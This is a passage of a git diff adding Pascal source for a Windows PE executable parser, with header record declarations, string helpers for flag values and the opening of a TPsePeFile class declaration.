IMAGE_SCN_ALIGN_64BYTES = $00700000; + + IMAGE_SCN_LNK_NRELOC_OVFL = $01000000; { Section contains extended relocations. } + IMAGE_SCN_MEM_DISCARDABLE = $02000000; { Section can be discarded. } + IMAGE_SCN_MEM_NOT_CACHED = $04000000; { Section is not cachable. } + IMAGE_SCN_MEM_NOT_PAGED = $08000000; { Section is not pageable. } + IMAGE_SCN_MEM_SHARED = $10000000; { Section is shareable. } + IMAGE_SCN_MEM_EXECUTE = $20000000; { Section is executable. } + IMAGE_SCN_MEM_READ = $40000000; { Section is readable. } + IMAGE_SCN_MEM_WRITE = Cardinal($80000000); { Section is writeable. } + +type + PImageFileHeader = ^TImageFileHeader; + _IMAGE_FILE_HEADER = packed record + Machine: Word; + NumberOfSections: Word; + TimeDateStamp: Cardinal; + PointerToSymbolTable: Cardinal; + NumberOfSymbols: Cardinal; + SizeOfOptionalHeader: Word; + Characteristics: Word; + end; + TImageFileHeader = _IMAGE_FILE_HEADER; + IMAGE_FILE_HEADER = _IMAGE_FILE_HEADER; + + PImageExportDirectory = ^TImageExportDirectory; + _IMAGE_EXPORT_DIRECTORY = packed record + Characteristics: Cardinal; + TimeDateStamp: Cardinal; + MajorVersion: Word; + MinorVersion: Word; + Name: Cardinal; + Base: Cardinal; + NumberOfFunctions: Cardinal; + NumberOfNames: Cardinal; + AddressOfFunctions: Cardinal; + AddressOfNames: Cardinal; + AddressOfNameOrdinals: Cardinal; + end; + TImageExportDirectory = _IMAGE_EXPORT_DIRECTORY; + IMAGE_EXPORT_DIRECTORY = _IMAGE_EXPORT_DIRECTORY; + +type + PImageDataDirectory = ^TImageDataDirectory; + _IMAGE_DATA_DIRECTORY = record + VirtualAddress: Cardinal; + Size: Cardinal; + end; + {$EXTERNALSYM _IMAGE_DATA_DIRECTORY} + TImageDataDirectory = _IMAGE_DATA_DIRECTORY; + IMAGE_DATA_DIRECTORY = _IMAGE_DATA_DIRECTORY; + +const + IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16; + +type + PImageOptionalHeader32 = ^TImageOptionalHeader32; + _IMAGE_OPTIONAL_HEADER32 = packed record + { Standard fields. } + Magic: Word; + MajorLinkerVersion: Byte; + MinorLinkerVersion: Byte; + SizeOfCode: Cardinal; + SizeOfInitializedData: Cardinal; + SizeOfUninitializedData: Cardinal; + AddressOfEntryPoint: Cardinal; + BaseOfCode: Cardinal; + BaseOfData: Cardinal; + { NT additional fields. } + ImageBase: Cardinal; + SectionAlignment: Cardinal; + FileAlignment: Cardinal; + MajorOperatingSystemVersion: Word; + MinorOperatingSystemVersion: Word; + MajorImageVersion: Word; + MinorImageVersion: Word; + MajorSubsystemVersion: Word; + MinorSubsystemVersion: Word; + Win32VersionValue: Cardinal; + SizeOfImage: Cardinal; + SizeOfHeaders: Cardinal; + CheckSum: Cardinal; + Subsystem: Word; + DllCharacteristics: Word; + SizeOfStackReserve: Cardinal; + SizeOfStackCommit: Cardinal; + SizeOfHeapReserve: Cardinal; + SizeOfHeapCommit: Cardinal; + LoaderFlags: Cardinal; + NumberOfRvaAndSizes: Cardinal; + DataDirectory: packed array[0..IMAGE_NUMBEROF_DIRECTORY_ENTRIES-1] of TImageDataDirectory; + end; + TImageOptionalHeader32 = _IMAGE_OPTIONAL_HEADER32; + IMAGE_OPTIONAL_HEADER32 = _IMAGE_OPTIONAL_HEADER32; + + PImageRomOptionalHeader = ^TImageRomOptionalHeader; + _IMAGE_ROM_OPTIONAL_HEADER = packed record + Magic: Word; + MajorLinkerVersion: Byte; + MinorLinkerVersion: Byte; + SizeOfCode: Cardinal; + SizeOfInitializedData: Cardinal; + SizeOfUninitializedData: Cardinal; + AddressOfEntryPoint: Cardinal; + BaseOfCode: Cardinal; + BaseOfData: Cardinal; + BaseOfBss: Cardinal; + GprMask: Cardinal; + CprMask: packed array[0..3] of Cardinal; + GpValue: Cardinal; + end; + TImageRomOptionalHeader = _IMAGE_ROM_OPTIONAL_HEADER; + IMAGE_ROM_OPTIONAL_HEADER = _IMAGE_ROM_OPTIONAL_HEADER; + + PImageOptionalHeader64 = ^TImageOptionalHeader64; + _IMAGE_OPTIONAL_HEADER64 = packed record + { Standard fields. } + Magic: Word; + MajorLinkerVersion: Byte; + MinorLinkerVersion: Byte; + SizeOfCode: Cardinal; + SizeOfInitializedData: Cardinal; + SizeOfUninitializedData: Cardinal; + AddressOfEntryPoint: Cardinal; + BaseOfCode: Cardinal; + { NT additional fields. } + ImageBase: UInt64; + SectionAlignment: Cardinal; + FileAlignment: Cardinal; + MajorOperatingSystemVersion: Word; + MinorOperatingSystemVersion: Word; + MajorImageVersion: Word; + MinorImageVersion: Word; + MajorSubsystemVersion: Word; + MinorSubsystemVersion: Word; + Win32VersionValue: Cardinal; + SizeOfImage: Cardinal; + SizeOfHeaders: Cardinal; + CheckSum: Cardinal; + Subsystem: Word; + DllCharacteristics: Word; + SizeOfStackReserve: UInt64; + SizeOfStackCommit: UInt64; + SizeOfHeapReserve: UInt64; + SizeOfHeapCommit: UInt64; + LoaderFlags: Cardinal; + NumberOfRvaAndSizes: Cardinal; + DataDirectory: packed array[0..IMAGE_NUMBEROF_DIRECTORY_ENTRIES-1] of TImageDataDirectory; + end; + TImageOptionalHeader64 = _IMAGE_OPTIONAL_HEADER64; + IMAGE_OPTIONAL_HEADER64 = _IMAGE_OPTIONAL_HEADER64; + + PImageDebugDirectory = ^TImageDebugDirectory; + _IMAGE_DEBUG_DIRECTORY = packed record + Characteristics: Cardinal; + TimeDateStamp: Cardinal; + MajorVersion: Word; + MinorVersion: Word; + _Type: Cardinal; + SizeOfData: Cardinal; + AddressOfRawData: Cardinal; + PointerToRawData: Cardinal; + end; + TImageDebugDirectory = _IMAGE_DEBUG_DIRECTORY; + IMAGE_DEBUG_DIRECTORY = _IMAGE_DEBUG_DIRECTORY; + +const + IMAGE_SIZEOF_SHORT_NAME = 8; + +type + TISHMisc = record + case Integer of + 0: (PhysicalAddress: Cardinal); + 1: (VirtualSize: Cardinal); + end; + + PPImageSectionHeader = ^PImageSectionHeader; + PImageSectionHeader = ^TImageSectionHeader; + _IMAGE_SECTION_HEADER = packed record + Name: packed array[0..IMAGE_SIZEOF_SHORT_NAME-1] of Byte; + Misc: TISHMisc; + VirtualAddress: Cardinal; + SizeOfRawData: Cardinal; + PointerToRawData: Cardinal; + PointerToRelocations: Cardinal; + PointerToLinenumbers: Cardinal; + NumberOfRelocations: Word; + NumberOfLinenumbers: Word; + Characteristics: Cardinal; + end; + TImageSectionHeader = _IMAGE_SECTION_HEADER; + IMAGE_SECTION_HEADER = _IMAGE_SECTION_HEADER; + + _IMAGE_THUNK_DATA64 = record + case Byte of + 0: (ForwarderString: UInt64); // PBYTE + 1: (_Function: UInt64); // PDWORD Function -> _Function + 2: (Ordinal: UInt64); + 3: (AddressOfData: UInt64); // PIMAGE_IMPORT_BY_NAME + end; + IMAGE_THUNK_DATA64 = _IMAGE_THUNK_DATA64; + TImageThunkData64 = _IMAGE_THUNK_DATA64; + PIMAGE_THUNK_DATA64 = ^_IMAGE_THUNK_DATA64; + PImageThunkData64 = ^_IMAGE_THUNK_DATA64; + + // #include "poppack.h" // Back to 4 byte packing + + _IMAGE_THUNK_DATA32 = record + case Byte of + 0: (ForwarderString: Cardinal); // PBYTE + 1: (_Function: Cardinal); // PDWORD Function -> _Function + 2: (Ordinal: Cardinal); + 3: (AddressOfData: Cardinal); // PIMAGE_IMPORT_BY_NAME + end; + IMAGE_THUNK_DATA32 = _IMAGE_THUNK_DATA32; + TImageThunkData32 = _IMAGE_THUNK_DATA32; + PIMAGE_THUNK_DATA32 = ^_IMAGE_THUNK_DATA32; + PImageThunkData32 = ^_IMAGE_THUNK_DATA32; + +const + IMAGE_ORDINAL_FLAG64 = UInt64($8000000000000000); + IMAGE_ORDINAL_FLAG32 = LongWord($80000000); + +type + _IMAGE_IMPORT_DESCRIPTOR = record + case Byte of + 0: (Characteristics: Cardinal); // 0 for terminating null import descriptor + 1: ( + OriginalFirstThunk: Cardinal; // RVA to original unbound IAT (PIMAGE_THUNK_DATA) + TimeDateStamp: Cardinal; // 0 if not bound, + // -1 if bound, and real date\time stamp + // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND) + // O.W. date/time stamp of DLL bound to (Old BIND) + + ForwarderChain: Cardinal; // -1 if no forwarders + Name: Cardinal; + FirstThunk: Cardinal // RVA to IAT (if bound this IAT has actual addresses) + ); + end; + IMAGE_IMPORT_DESCRIPTOR = _IMAGE_IMPORT_DESCRIPTOR; + TImageImportDescriptor = _IMAGE_IMPORT_DESCRIPTOR; + PIMAGE_IMPORT_DESCRIPTOR = ^_IMAGE_IMPORT_DESCRIPTOR; + PImageImportDescriptor = ^_IMAGE_IMPORT_DESCRIPTOR; + +const + IMAGE_DEBUG_TYPE_UNKNOWN = 0; + IMAGE_DEBUG_TYPE_COFF = 1; + IMAGE_DEBUG_TYPE_CODEVIEW = 2; + IMAGE_DEBUG_TYPE_FPO = 3; + IMAGE_DEBUG_TYPE_MISC = 4; + IMAGE_DEBUG_TYPE_EXCEPTION = 5; + IMAGE_DEBUG_TYPE_FIXUP = 6; + IMAGE_DEBUG_TYPE_OMAP_TO_SRC = 7; + IMAGE_DEBUG_TYPE_OMAP_FROM_SRC = 8; + +type + PImageDebugMisc = ^TImageDebugMisc; + _IMAGE_DEBUG_MISC = record + DataType: Cardinal; // type of misc data, see defines + Length: Cardinal; // total length of record, rounded to four + // byte multiple. + Unicode: ByteBool; // TRUE if data is unicode string + Reserved: array[0..2] of Byte; + Data: array[0..0] of Byte; // Actual data + end; + TImageDebugMisc = _IMAGE_DEBUG_MISC; + IMAGE_DEBUG_MISC = _IMAGE_DEBUG_MISC; + + PImageCOFFSymbolsHeader = ^TImageCOFFSymbolsHeader; + _IMAGE_COFF_SYMBOLS_HEADER = record + NumberOfSymbols: Cardinal; + LvaToFirstSymbol: Cardinal; + NumberOfLinenumbers: Cardinal; + LvaToFirstLinenumber: Cardinal; + RvaToFirstByteOfCode: Cardinal; + RvaToLastByteOfCode: Cardinal; + RvaToFirstByteOfData: Cardinal; + RvaToLastByteOfData: Cardinal; + end; + TImageCOFFSymbolsHeader = _IMAGE_COFF_SYMBOLS_HEADER; + IMAGE_COFF_SYMBOLS_HEADER = _IMAGE_COFF_SYMBOLS_HEADER; + + FarProc = Pointer; + RVA = Cardinal; + + TImgDelayDescr = record + grAttrs: Cardinal; // attributes + rvaDLLName: RVA; // RVA to dll name + rvaHMod: RVA; // RVA of module handle + rvaIAT: RVA; // RVA of the IAT + rvaINT: RVA; // RVA of the INT + rvBoundIAT: RVA; // RVA of the optional bound IAT + rvaUnloadIAT: RVA; // RVA of optional copy of original IAT + dwTimeStamp: Cardinal; // 0 if not bound, + // O.W. date/time stamp of DLL bound to (Old BIND) + end; + PImgDelayDescr = ^TImgDelayDescr; + + // Delay Load Attributes + DLAttr = ( + dlattrRva = $1 // RVAs are used instead of pointers + // Having this set indicates a VC7.0 + // and above delay load descriptor. + ); + + // Delay load import hook notifications + DLIMportHookNotification = ( + dliStartProcessing, + dliNoteStartProcessing = dliStartProcessing, + dliNotePreLoadLibrary, + dliNotePreGetProcAddress, + dliFailLoadLib, + dliFailGetProc, + dliNoteEndProcessing + ); + + _DelayLoadProc = record + fImportByName: LongBool; + case Byte of + 0: (szProcName: PChar); + 1: (dwOrdinal: Cardinal); + end; + TDelayLoadProc = _DelayLoadProc; + + _DelayLoadInfo = record + cd: Cardinal; // size of structure + pidd: PImgDelayDescr; // raw form of data (everything is there) + ppfn: FarProc; // points to address of function to load + szDll: PChar; // name of dll + dlp: TDelayLoadProc; // name or ordinal of procedure + hmodCur: HMODULE; // the hInstance of the library we have loaded + pfnCur: FarProc; // the actual function that will be called + dwLastError: Cardinal; // error received (if an error notification) + end; + TDelayLoadInfo = _DelayLoadInfo; + PDelayLoadInfo = ^TDelayLoadInfo; + +function GetImageDirectoryName(const ADir: Integer): string; +function GetCharacteristicsString(const Characteristics: Word): string; +function GetMachineString(const Machine: Word): string; +function GetSubsystemString(const Subsystem: Word): string; +function GetSecCharacteristicsString(const Characteristics: Cardinal): string; +function GetDllCharacteristicsString(const Characteristics: Cardinal): string; + +implementation + +function GetDllCharacteristicsString(const Characteristics: Cardinal): string; +begin + Result := ''; + if (Characteristics and IMAGE_LIBRARY_PROCESS_INIT) = IMAGE_LIBRARY_PROCESS_INIT then + Result := Result + 'IMAGE_LIBRARY_PROCESS_INIT | '; + if (Characteristics and IMAGE_LIBRARY_PROCESS_TERM) = IMAGE_LIBRARY_PROCESS_TERM then + Result := Result + 'IMAGE_LIBRARY_PROCESS_TERM | '; + if (Characteristics and IMAGE_LIBRARY_THREAD_INIT) = IMAGE_LIBRARY_THREAD_INIT then + Result := Result + 'IMAGE_LIBRARY_THREAD_INIT | '; + if (Characteristics and IMAGE_LIBRARY_PROCESS_INIT) = IMAGE_LIBRARY_PROCESS_INIT then + Result := Result + 'IMAGE_LIBRARY_PROCESS_INIT | '; + if (Characteristics and IMAGE_LIBRARY_THREAD_TERM) = IMAGE_LIBRARY_THREAD_TERM then + Result := Result + 'IMAGE_LIBRARY_THREAD_TERM | '; + if (Characteristics and IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA) = IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA then + Result := Result + 'IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA | '; + if (Characteristics and IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) = IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE then + Result := Result + 'IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE | '; + if (Characteristics and IMAGE_DLLCHARACTERISTICS_FORCE_INTEGRITY) = IMAGE_DLLCHARACTERISTICS_FORCE_INTEGRITY then + Result := Result + 'IMAGE_DLLCHARACTERISTICS_FORCE_INTEGRITY | '; + if (Characteristics and IMAGE_DLLCHARACTERISTICS_NX_COMPAT) = IMAGE_DLLCHARACTERISTICS_NX_COMPAT then + Result := Result + 'IMAGE_DLLCHARACTERISTICS_NX_COMPAT | '; + if (Characteristics and IMAGE_DLLCHARACTERISTICS_NO_ISOLATION) = IMAGE_DLLCHARACTERISTICS_NO_ISOLATION then + Result := Result + 'IMAGE_DLLCHARACTERISTICS_NO_ISOLATION | '; + if (Characteristics and IMAGE_DLLCHARACTERISTICS_NO_SEH) = IMAGE_DLLCHARACTERISTICS_NO_SEH then + Result := Result + 'IMAGE_DLLCHARACTERISTICS_NO_SEH | '; + if (Characteristics and IMAGE_DLLCHARACTERISTICS_NO_BIND) = IMAGE_DLLCHARACTERISTICS_NO_BIND then + Result := Result + 'IMAGE_DLLCHARACTERISTICS_NO_BIND | '; + if (Characteristics and IMAGE_DLLCHARACTERISTICS_APPCONTAINER) = IMAGE_DLLCHARACTERISTICS_APPCONTAINER then + Result := Result + 'IMAGE_DLLCHARACTERISTICS_APPCONTAINER | '; + if (Characteristics and IMAGE_DLLCHARACTERISTICS_WDM_DRIVER) = IMAGE_DLLCHARACTERISTICS_WDM_DRIVER then + Result := Result + 'IMAGE_DLLCHARACTERISTICS_WDM_DRIVER | '; + if (Characteristics and IMAGE_DLLCHARACTERISTICS_GUARD_CF) = IMAGE_DLLCHARACTERISTICS_GUARD_CF then + Result := Result + 'IMAGE_DLLCHARACTERISTICS_GUARD_CF | '; + if (Characteristics and IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE) = IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE then + Result := Result + 'IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE | '; + + if Result <> '' then + Delete(Result, Length(Result) - 2, MaxInt); +end; + +function GetImageDirectoryName(const ADir: Integer): string; +begin + case ADir of + IMAGE_DIRECTORY_ENTRY_EXPORT: + Result := 'IMAGE_DIRECTORY_ENTRY_EXPORT'; + IMAGE_DIRECTORY_ENTRY_IMPORT: + Result := 'IMAGE_DIRECTORY_ENTRY_IMPORT'; + IMAGE_DIRECTORY_ENTRY_RESOURCE: + Result := 'IMAGE_DIRECTORY_ENTRY_RESOURCE'; + IMAGE_DIRECTORY_ENTRY_EXCEPTION: + Result := 'IMAGE_DIRECTORY_ENTRY_EXCEPTION'; + IMAGE_DIRECTORY_ENTRY_SECURITY: + Result := 'IMAGE_DIRECTORY_ENTRY_SECURITY'; + IMAGE_DIRECTORY_ENTRY_BASERELOC: + Result := 'IMAGE_DIRECTORY_ENTRY_BASERELOC'; + IMAGE_DIRECTORY_ENTRY_DEBUG: + Result := 'IMAGE_DIRECTORY_ENTRY_DEBUG'; + IMAGE_DIRECTORY_ENTRY_COPYRIGHT: + Result := 'IMAGE_DIRECTORY_ENTRY_COPYRIGHT'; + IMAGE_DIRECTORY_ENTRY_GLOBALPTR: + Result := 'IMAGE_DIRECTORY_ENTRY_GLOBALPTR'; + IMAGE_DIRECTORY_ENTRY_TLS: + Result := 'IMAGE_DIRECTORY_ENTRY_TLS'; + IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG: + Result := 'IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG'; + IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT: + Result := 'IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT'; + IMAGE_DIRECTORY_ENTRY_IAT: + Result := 'IMAGE_DIRECTORY_ENTRY_IAT'; + IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT: + Result := 'IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT'; + IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR: + Result := 'IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR'; + else + Result := Format('Unknown %d', [ADir]); + end; +end; + +function GetCharacteristicsString(const Characteristics: Word): string; +begin + Result := ''; + if (Characteristics and IMAGE_FILE_RELOCS_STRIPPED) = IMAGE_FILE_RELOCS_STRIPPED then + Result := Result + 'IMAGE_FILE_RELOCS_STRIPPED | '; + if (Characteristics and IMAGE_FILE_EXECUTABLE_IMAGE) = IMAGE_FILE_EXECUTABLE_IMAGE then + Result := Result + 'IMAGE_FILE_EXECUTABLE_IMAGE | '; + if (Characteristics and IMAGE_FILE_LINE_NUMS_STRIPPED) = IMAGE_FILE_LINE_NUMS_STRIPPED then + Result := Result + 'IMAGE_FILE_LINE_NUMS_STRIPPED | '; + if (Characteristics and IMAGE_FILE_LOCAL_SYMS_STRIPPED) = IMAGE_FILE_LOCAL_SYMS_STRIPPED then + Result := Result + 'IMAGE_FILE_LOCAL_SYMS_STRIPPED | '; + if (Characteristics and IMAGE_FILE_LARGE_ADDRESS_AWARE) = IMAGE_FILE_LARGE_ADDRESS_AWARE then + Result := Result + 'IMAGE_FILE_LARGE_ADDRESS_AWARE | '; + if (Characteristics and IMAGE_FILE_BYTES_REVERSED_LO) = IMAGE_FILE_BYTES_REVERSED_LO then + Result := Result + 'IMAGE_FILE_BYTES_REVERSED_LO | '; + if (Characteristics and IMAGE_FILE_32BIT_MACHINE) = IMAGE_FILE_32BIT_MACHINE then + Result := Result + 'IMAGE_FILE_32BIT_MACHINE | '; + if (Characteristics and IMAGE_FILE_DEBUG_STRIPPED) = IMAGE_FILE_DEBUG_STRIPPED then + Result := Result + 'IMAGE_FILE_DEBUG_STRIPPED | '; + if (Characteristics and IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP) = IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP then + Result := Result + 'IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP | '; + if (Characteristics and IMAGE_FILE_NET_RUN_FROM_SWAP) = IMAGE_FILE_NET_RUN_FROM_SWAP then + Result := Result + 'IMAGE_FILE_NET_RUN_FROM_SWAP | '; + if (Characteristics and IMAGE_FILE_SYSTEM) = IMAGE_FILE_SYSTEM then + Result := Result + 'IMAGE_FILE_SYSTEM | '; + if (Characteristics and IMAGE_FILE_DLL) = IMAGE_FILE_DLL then + Result := Result + 'IMAGE_FILE_DLL | '; + if (Characteristics and IMAGE_FILE_UP_SYSTEM_ONLY) = IMAGE_FILE_UP_SYSTEM_ONLY then + Result := Result + 'IMAGE_FILE_UP_SYSTEM_ONLY | '; + if (Characteristics and IMAGE_FILE_BYTES_REVERSED_HI) = IMAGE_FILE_BYTES_REVERSED_HI then + Result := Result + 'IMAGE_FILE_BYTES_REVERSED_HI | '; + + if Result <> '' then + Delete(Result, Length(Result) - 2, MaxInt); +end; + +function GetMachineString(const Machine: Word): string; +begin + case Machine of + IMAGE_FILE_MACHINE_UNKNOWN: + Result := 'IMAGE_FILE_MACHINE_UNKNOWN'; + IMAGE_FILE_MACHINE_I386: + Result := 'IMAGE_FILE_MACHINE_I386'; + IMAGE_FILE_MACHINE_R3000: + Result := 'IMAGE_FILE_MACHINE_R3000'; + IMAGE_FILE_MACHINE_R4000: + Result := 'IMAGE_FILE_MACHINE_R4000'; + IMAGE_FILE_MACHINE_R10000: + Result := 'IMAGE_FILE_MACHINE_R10000'; + IMAGE_FILE_MACHINE_ALPHA: + Result := 'IMAGE_FILE_MACHINE_ALPHA'; + IMAGE_FILE_MACHINE_POWERPC: + Result := 'IMAGE_FILE_MACHINE_POWERPC'; + IMAGE_FILE_MACHINE_IA64: + Result := 'IMAGE_FILE_MACHINE_IA64'; + IMAGE_FILE_MACHINE_ALPHA64: + Result := 'IMAGE_FILE_MACHINE_ALPHA64'; + IMAGE_FILE_MACHINE_AMD64: + Result := 'IMAGE_FILE_MACHINE_AMD64'; + else + Result := Format('Unknown %d', [Machine]); + end; +end; + +function GetSubsystemString(const Subsystem: Word): string; +begin + case Subsystem of + IMAGE_SUBSYSTEM_UNKNOWN: + Result := 'IMAGE_SUBSYSTEM_UNKNOWN'; + IMAGE_SUBSYSTEM_NATIVE: + Result := 'IMAGE_SUBSYSTEM_NATIVE'; + IMAGE_SUBSYSTEM_WINDOWS_GUI: + Result := 'IMAGE_SUBSYSTEM_WINDOWS_GUI'; + IMAGE_SUBSYSTEM_WINDOWS_CUI: + Result := 'IMAGE_SUBSYSTEM_WINDOWS_CUI'; + IMAGE_SUBSYSTEM_OS2_CUI: + Result := 'IMAGE_SUBSYSTEM_OS2_CUI'; + IMAGE_SUBSYSTEM_POSIX_CUI: + Result := 'IMAGE_SUBSYSTEM_POSIX_CUI'; + IMAGE_SUBSYSTEM_RESERVED8: + Result := 'IMAGE_SUBSYSTEM_RESERVED8'; + IMAGE_SUBSYSTEM_WINDOWS_CE_GUI: + Result := 'IMAGE_SUBSYSTEM_WINDOWS_CE_GUI'; + IMAGE_SUBSYSTEM_EFI_APPLICATION: + Result := 'IMAGE_SUBSYSTEM_EFI_APPLICATION'; + IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER: + Result := 'IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER'; + IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER: + Result := 'IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER'; + IMAGE_SUBSYSTEM_EFI_ROM: + Result := 'IMAGE_SUBSYSTEM_EFI_ROM'; + IMAGE_SUBSYSTEM_XBOX: + Result := 'IMAGE_SUBSYSTEM_XBOX'; + else + Result := Format('Unknown %d', [Subsystem]); + end; +end; + +function GetSecCharacteristicsString(const Characteristics: Cardinal): string; +begin + Result := ''; + if (Characteristics and IMAGE_SCN_TYPE_NO_PAD) = IMAGE_SCN_TYPE_NO_PAD then + Result := Result + 'IMAGE_SCN_TYPE_NO_PAD | '; + if (Characteristics and IMAGE_SCN_CNT_CODE) = IMAGE_SCN_CNT_CODE then + Result := Result + 'IMAGE_SCN_CNT_CODE | '; + if (Characteristics and IMAGE_SCN_CNT_INITIALIZED_DATA) = IMAGE_SCN_CNT_INITIALIZED_DATA then + Result := Result + 'IMAGE_SCN_CNT_INITIALIZED_DATA | '; + if (Characteristics and IMAGE_SCN_CNT_UNINITIALIZED_DATA) = IMAGE_SCN_CNT_UNINITIALIZED_DATA then + Result := Result + 'IMAGE_SCN_CNT_UNINITIALIZED_DATA | '; + if (Characteristics and IMAGE_SCN_LNK_OTHER) = IMAGE_SCN_LNK_OTHER then + Result := Result + 'IMAGE_SCN_LNK_OTHER | '; + if (Characteristics and IMAGE_SCN_LNK_INFO) = IMAGE_SCN_LNK_INFO then + Result := Result + 'IMAGE_SCN_LNK_INFO | '; + if (Characteristics and IMAGE_SCN_LNK_REMOVE) = IMAGE_SCN_LNK_REMOVE then + Result := Result + 'IMAGE_SCN_LNK_REMOVE | '; + if (Characteristics and IMAGE_SCN_LNK_COMDAT) = IMAGE_SCN_LNK_COMDAT then + Result := Result + 'IMAGE_SCN_LNK_COMDAT | '; + if (Characteristics and IMAGE_SCN_MEM_PURGEABLE) = IMAGE_SCN_MEM_PURGEABLE then + Result := Result + 'IMAGE_SCN_MEM_PURGEABLE | '; + if (Characteristics and IMAGE_SCN_MEM_16BIT) = IMAGE_SCN_MEM_16BIT then + Result := Result + 'IMAGE_SCN_MEM_16BIT | '; + if (Characteristics and IMAGE_SCN_MEM_LOCKED) = IMAGE_SCN_MEM_LOCKED then + Result := Result + 'IMAGE_SCN_MEM_LOCKED | '; + if (Characteristics and IMAGE_SCN_MEM_PRELOAD) = IMAGE_SCN_MEM_PRELOAD then + Result := Result + 'IMAGE_SCN_MEM_PRELOAD | '; + if (Characteristics and IMAGE_SCN_ALIGN_1BYTES) = IMAGE_SCN_ALIGN_1BYTES then + Result := Result + 'IMAGE_SCN_ALIGN_1BYTES | '; + if (Characteristics and IMAGE_SCN_ALIGN_2BYTES) = IMAGE_SCN_ALIGN_2BYTES then + Result := Result + 'IMAGE_SCN_ALIGN_2BYTES | '; + if (Characteristics and IMAGE_SCN_ALIGN_4BYTES) = IMAGE_SCN_ALIGN_4BYTES then + Result := Result + 'IMAGE_SCN_ALIGN_4BYTES | '; + if (Characteristics and IMAGE_SCN_ALIGN_8BYTES) = IMAGE_SCN_ALIGN_8BYTES then + Result := Result + 'IMAGE_SCN_ALIGN_8BYTES | '; + if (Characteristics and IMAGE_SCN_ALIGN_16BYTES) = IMAGE_SCN_ALIGN_16BYTES then + Result := Result + 'IMAGE_SCN_ALIGN_16BYTES | '; + if (Characteristics and IMAGE_SCN_ALIGN_32BYTES) = IMAGE_SCN_ALIGN_32BYTES then + Result := Result + 'IMAGE_SCN_ALIGN_32BYTES | '; + if (Characteristics and IMAGE_SCN_ALIGN_64BYTES) = IMAGE_SCN_ALIGN_64BYTES then + Result := Result + 'IMAGE_SCN_ALIGN_64BYTES | '; + if (Characteristics and IMAGE_SCN_LNK_NRELOC_OVFL) = IMAGE_SCN_LNK_NRELOC_OVFL then + Result := Result + 'IMAGE_SCN_LNK_NRELOC_OVFL | '; + if (Characteristics and IMAGE_SCN_MEM_DISCARDABLE) = IMAGE_SCN_MEM_DISCARDABLE then + Result := Result + 'IMAGE_SCN_MEM_DISCARDABLE | '; + if (Characteristics and IMAGE_SCN_MEM_NOT_CACHED) = IMAGE_SCN_MEM_NOT_CACHED then + Result := Result + 'IMAGE_SCN_MEM_NOT_CACHED | '; + if (Characteristics and IMAGE_SCN_MEM_NOT_PAGED) = IMAGE_SCN_MEM_NOT_PAGED then + Result := Result + 'IMAGE_SCN_MEM_NOT_PAGED | '; + if (Characteristics and IMAGE_SCN_MEM_SHARED) = IMAGE_SCN_MEM_SHARED then + Result := Result + 'IMAGE_SCN_MEM_SHARED | '; + if (Characteristics and IMAGE_SCN_MEM_EXECUTE) = IMAGE_SCN_MEM_EXECUTE then + Result := Result + 'IMAGE_SCN_MEM_EXECUTE | '; + if (Characteristics and IMAGE_SCN_MEM_READ) = IMAGE_SCN_MEM_READ then + Result := Result + 'IMAGE_SCN_MEM_READ | '; + if (Characteristics and IMAGE_SCN_MEM_WRITE) = IMAGE_SCN_MEM_WRITE then + Result := Result + 'IMAGE_SCN_MEM_WRITE | '; + + if Result <> '' then + Delete(Result, Length(Result) - 2, MaxInt); +end; + +end. diff --git a/Core/pesp/PsePeFile.pas b/Core/pesp/PsePeFile.pas new file mode 100644 index 0000000..463733b --- /dev/null +++ b/Core/pesp/PsePeFile.pas @@ -0,0 +1,797 @@ +{ + Pascal Executable Parser + + by sa, 2014,2015 +} + +unit PsePeFile; + +{$IFDEF FPC} + {$MODE Delphi} +{$ENDIF} + +interface + +uses + SysUtils, Classes, PseFile, PseSection, + PseExportTable, PseImportTable, PseCmn, PseMz, PsePe; + +type + { + Windows PE files. + + References + + Micosoft. Microsoft Portable Executable and Common Object File Format + Specification. Microsoft, February 2013. + } + TPsePeFile = class(TPseFile) + private + FDosHeader: TImageDosHeader; + FSignature: Cardinal; + FImageHeader: TImageFileHeader; + FOptHeader32: TImageOptionalHeader32; + FOptHeader64: TImageOptionalHeader64; + function GetCodeSection(out AAddr, ASize: UInt64): boolean; + procedure ReadSections; + procedure ReadExports; + procedure ReadImports; + procedure ReadDelayImports; + procedure ReadMapFile; + procedure ReadDebugDirectory; + function RVAToOffset(const RVA: UInt64): UInt64; + protected + public + constructor Create; override; + destructor Destroy; override; + function LoadFromStream(Stream: TStream): boolean; override; + procedure SaveSectionToStream(const ASection: integer; Stream: TStream); override; + function GetEntryPoint: UInt64; override; + function GetArch: TPseArch; override; + function GetMode: TPseMode; override; + function GetFirstAddr: UInt64; override; + function GetInitStackSize: UInt64; override; + function GetMaxStackSize: UInt64; override; + function GetInitHeapSize: UInt64; override; + function GetMaxHeapSize: UInt64; override; + + function GetImageBase: UInt64; + function GetSizeOfImage: Cardinal; + function GetNumberOfSections: Cardinal; + + function GetMachineString: string; + function GetCharacteristicsString: string; + function GetSubsystemString: string; + + function GetFriendlyName: string; override; + + property DosHeader: TImageDosHeader read 